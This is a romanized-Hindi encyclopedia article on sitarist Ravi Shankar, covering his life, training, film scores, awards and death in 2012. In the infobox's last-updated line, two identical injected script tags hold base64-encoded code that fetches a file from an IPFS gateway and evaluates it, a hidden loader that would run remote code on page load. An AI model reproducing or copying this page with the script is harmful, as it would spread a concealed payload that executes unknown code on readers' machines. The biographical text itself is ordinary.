रवि शंकर

chitr:Disamb2.jpg ravi shankar

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- ravi shankar (bahuvikalpi)

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ravi shankar
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poora nam	pandit ravindr shankar chaudhari
janm	7 aprॅl, 1920
janm bhoomi	banaras, uttar pradesh
mrityu	11 disambar, 2012
mrityu sthan	sain diyago, amerika
abhibhavak	pita- shyam shankar
pati/patni	annapoorna devi aur sukanya ranjan
santan	shubhendr shankar, norah jons aur anushka shankar
karm bhoomi	bharat
karm-kshetr	sangit kala
vishay	sitar vadak aur shastriy sangit
puraskar-upadhi	bharat rath‍n, padm vibhooshan, padm bhooshan, reman maigsese puraskar, sangit natak akadami puraskar
nagarikata	bharatiy
filmoan mean sangit	apoo trilogi, anuradha, gaandhi
bahari k diyaan	adhikarik vebasait
adyatan‎	20:22, 7 aprॅl 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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ravi shankar (aangrezi: Ravi Shankar, poora nam: pandit ravindr shankar chaudhari, janm: 7 aprॅl, 1920; mrityu: 11 disambar, 2012) vishv mean bharatiy shastriy sangit ki utkrishtata ke sabase b de udaghoshak the. ek sitar vadak ke roop mean unhoanne khyati arjit ki. ravi shankar aur sitar mano ek-doosare ke lie hi bane hoan. vah is sadi ke sabase mahanh sangitajnoan mean gine jate the. ravishankar ko videshoan mean bahut adhik prasiddhi prapt huee. videshoan mean ve atyant lokapriy evan saphal rahe. ravishankar ke sangit mean ek prakar ki adhyatmik shanti prapt hoti hai.

jivan parichay

pan ravi shankar ka janm sanskriti-sanpann kashi mean 7 aprॅl, sanh 1920 ko hua tha. apaka aranbhik jivan kashi ke punit ghatoan ke par hi bita. pandit ravishankar ka bachapan bahut hi sukhad raha. unake pita pratishthit bairistar the aur rajagharane mean uchch pad par karyarat the. ravishankar jab keval das varsh ke the tabhi sangit ke prati unaka lagav shuroo hua. pandit ravishankar ne bachapan mean kala jagath mean pravesh ek nartak ke roop mean kiya. unhoanne apane b de bhaee uday shankar ke sath kee nrity karyakram kiye. un dinoan ko yad karate hue vah kahate haian-

maian banaras mean rahata tha. sangit se mera koee sidha sanbandh nahian tha, lekin mere doosare bhaiyoan ki isamean poori ruchi thi. koee baansuri bajata tha to koee sitar. mere bade bhaee pandit uday shankar ji nrity karate the. vah mujhe apane sath peris le ge. unake dal mean achchhe-achchhe sangitajn aur kalakar the. vahian se mujhamean sangit ka shauq paida hua. pahale to maianne nrity sikhana shuroo kiya, par adhik dinoan tak is kshetr mean nahian raha. vajah yah thi ki meri ruchi sangit mean badhane lagi thi. -pan. ravi shankar

shiksha

inaki aranbhik sangit shiksha ghar par hi huee. us samay ke prasiddh sangitakar aur guru ustad alauddin khaan ko inhoanne apana guru banaya. yahian se apaki sangit yatra vidhivat aranbh huee. alauddin khaan jaise anubhavi guru ki aankhoan ne ap ke bhitar chhipe sangit prem ko pahachan liya tha. unhoanne apako vidhivat apana shishy banaya. vah lanbe samay tak tabala vadak ustad alla rakkha khaan, kishan maharaj aur sarod vadak ustad ali akabar khan ke sath ju de rahe. atharah varsh ki umr mean unhoanne nrity chho dakar sitar sikhana shuroo kiya.

paramparagat bharatiy shaili

ravishankar sangit ki paramparagat bharatiy shaili ke anuyayi the. unaki aanguliyaan jab bhi sitar par gatishil hoti thi, sara vatavaran jhankrit ho uthata tha. antarrashtriy manch par bharatiy sangit ko sasamman pratishthit karane mean unaka ullekhaniy yogadan hai. unhoanne kee nee-purani sangit rachanaoan ko bhi apani vishisht shaili se sashakt abhivyakti padan ki.

pratham prastuti

• pandit ravishankar ne pahala karyakram 10 sal ki umr mean diya tha.
• bharat mean pandit ravishankar ne pahala karyakram 1939 mean diya tha.
• desh ke bahar pahala karyakram unhoanne 1954 mean tatkalin soviyat sangh mean diya tha aur yoorop mean pahala karyakram 1956 mean diya tha.
• 1944 mean aupacharik shiksha samapt karane ke bad vah muanbee chale ge aur unhoanne filmoan ke lie sangit diya.
• 1960 ke dashak ke madhy mean unhoanne tin yadagar prastutiyaan m aaunateri p aaup phestival, kansart ph aaur baangladesh, vudast aauk phestival dian.

sangit nirdeshan

thumb|ravi shankar|250px ravi shankar ne bharat, kanada, yoorop tatha amerika mean baile tatha filmoan ke lie bhi sangit kampoj kiya. in filmoan mean 'charli', 'gaandhi' aur 'apoo trilogi' bhi shamil haian. isake atirikt apane anek filmoan mean bhi apane sangit ka jadoo jagaya hai.

• satyajit ray ki bangali film 'apoo trilogi' ek bahucharchit film thi.
• hindi film anuradha mean bhi apane hi sangit diya.
• pandit ravishankar ne apane lanbe sangit jivan mean kee filmoan ke lie bhi sangit nirdeshan kiya jisamean prakhyat filmakar satyajit ray ki filmean aur gulazar dvara nirdeshit "mira" bhi shamil hai.
• richard etinabara ki film 'gaandhi' mean bhi apaka hi surila sangit tha.
• apane kee pashchaty filmoan mean bhi sangit diya.

sahriday ravi shankar

ravi shankar ne varsh 1971 mean 'baangladesh mukti sangram' ke samay vahaan se bharat a ge lakhoan sharanarthiyoan ki madad ke lie karyakram karake dhan ekatr kiya tha. hindustani sangit ko ravishankar ne ragoan ke mamale mean bhi b da samriddh banaya hai. yoan to unhoanne parameshvari, kameshvari, gangeshvari, jogeshvari, vairagi to di, kaushikato di, mohanakauans, rasiya, manamanjari, pancham adi anek naye rag banae haian, par vairagi aur natabhairav ragoan ka unaka srijan sabase jyada lokapriy hua. shayad hi koee din aisa jata ho, jab rediyo par koee n koee kalakar inake banae in do ragoan ka n gata-bajata ho.

jugalabandi

prarambh mean pandit ji ne amerika ke prasiddh vayalin vadak yehudi menyuhin ke sath jugalabandiyoan mean bhi vishv-bhar ka daura kiya. tabala ke mahanh ustad alla rakkha bhi pandit ji ke sath jugalabandi kar chuke haian. vastav mean is prakar ki jugalabandiyoan mean hi unhoanne bharatiy vady sangit ko ek naya ayam diya. pandit ji ne apani lambi sangit-yatra mean apane aur apane sambandh mean kuchh mahattvapoorn pustakean bhi likhi haian. ‘maee myoojik maee laiph’ ke atirikt unaki ‘ragamala’ namak pustak videsh ke ek suprasiddh prakashak ne prakashit ki hai.

samman aur puraskar

• pandit ravi shankar ko vibhinn vishvavidyalayoan se daktaret ki 14 manad upadhiyaan mil chuki haian.
• sanyukt rashtr sangh ke aantargat sangitajnoan ki ek sanstha ke sadasy rahe.
• ravi shankar ko tin gremi puraskar mile haian.
• reman maigsese puraskar, padm bhooshan, padm vibhooshan tatha bharat ka sarvochch samman bharat rath‍n bhi mil chuka hai.
• ravi shankar ko bharatiy sangit khasakar sitar vadan ko pashchimi duniya ke deshoan tak pahuanchane ka shrey bhi diya jata hai.
• 1968 mean unaki 'yahoodi menuhin' ke sath unaki elbam 'eest mits vest' ko pahala graimi puraskar mila tha. phir 1972 mean 'j aaurj hairisan' ke sath unake 'k aaunasart ph aaur baangladesh' ko graimi diya gaya. sangit jagath ka aauskar mane jane vale graimi puraskar ki vishv sangit shreni mean pandit ravishankar ke sath spardha mean briten ke prakhyat sangitakar j aaun mekl aaulin aur brazil ke gilabarto gil aur miltan nesimelto bhi shamil the.

rajyasabha manad sadasy

1986 mean rajyasabha ke manad sadasy chunakar bhi unhean sammanit kiya gaya. 1986 se 1992 tak rajy sabha ke sadasy rahe. sitar vadak pandit ravishankar bharat ke un gine chune sangitajnoan mean se the jo pashchim mean bhi lokapriy rahe. ravi shankar anek dashakoan se apani pratibha darshate rahe. 1982 ke dilli eshiyad (eshiyaee khel samaroh) ke 'svagat git' ko unhoanne kee svar pradan kiye the. unako desh-videsh mean kee bar sammanit kiya ja chuka hai.

nidhan

pandit ravishankar ka 92 varsh ki umr mean nidhan ho gaya. amerika mean sain diego ke ek aspatal mean unhoanne aantim saans li. pandit ravishankar ko saans lene mean takaliph ki shikayat ke bad la jolla ke skips memoriyal aspatal mean bharti karaya gaya tha. unhoanne sthaniy samayanusar mangalavar 11 disambar, 2012 ko sham 4.30 baje aantim saans li. mashahoor sitar vadak pandit ravishankar ke amerika ke ek aspatal mean nidhan par shok jatate hue pradhanamantri manamohan sianh ne budhavar ko kaha ki vah rashtriy sampada the. maikrobl aaugiang sait tvitar par pradhanamantri karyalay (piemo) ki or se likhe sandesh mean kaha gaya hai, 'pandit ravishankar ke nidhan se ek yug ka aant ho gaya hai, mere sath-sath poora desh unaki pratibha, kala tatha vinramata ko shraddhaanjali deta hai.'

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• Shankar, Ravi
• Ravi Shankar
• Pandit Ravi Shankar Classics
• Ravi Shankar Allmusic
• Ravi Shankar
• 10 sal ki umr mean pahala program karane vale pandit ji bahut yad aeange..

sanbandhit lekh

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